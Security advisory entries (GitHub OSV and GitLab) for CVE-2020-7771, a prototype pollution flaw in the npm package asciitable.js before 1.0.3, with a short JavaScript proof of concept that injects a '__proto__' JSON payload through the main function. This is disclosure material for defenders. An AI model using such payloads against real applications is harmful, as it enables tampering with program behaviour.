github_osv/GHSA-5pxj-mhwj-x5gv
Prototype Pollution in asciitable.js
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function.
### PoC
```js
var a = require("asciitable.js");
var b = JSON.parse('{"__proto__":{"test":123}}');
a({},b);
console.log({}.test)
```
gitlab/npm/asciitable.js/CVE-2020-7771
The package `asciitable.js` is vulnerable to Prototype Pollution via the main function.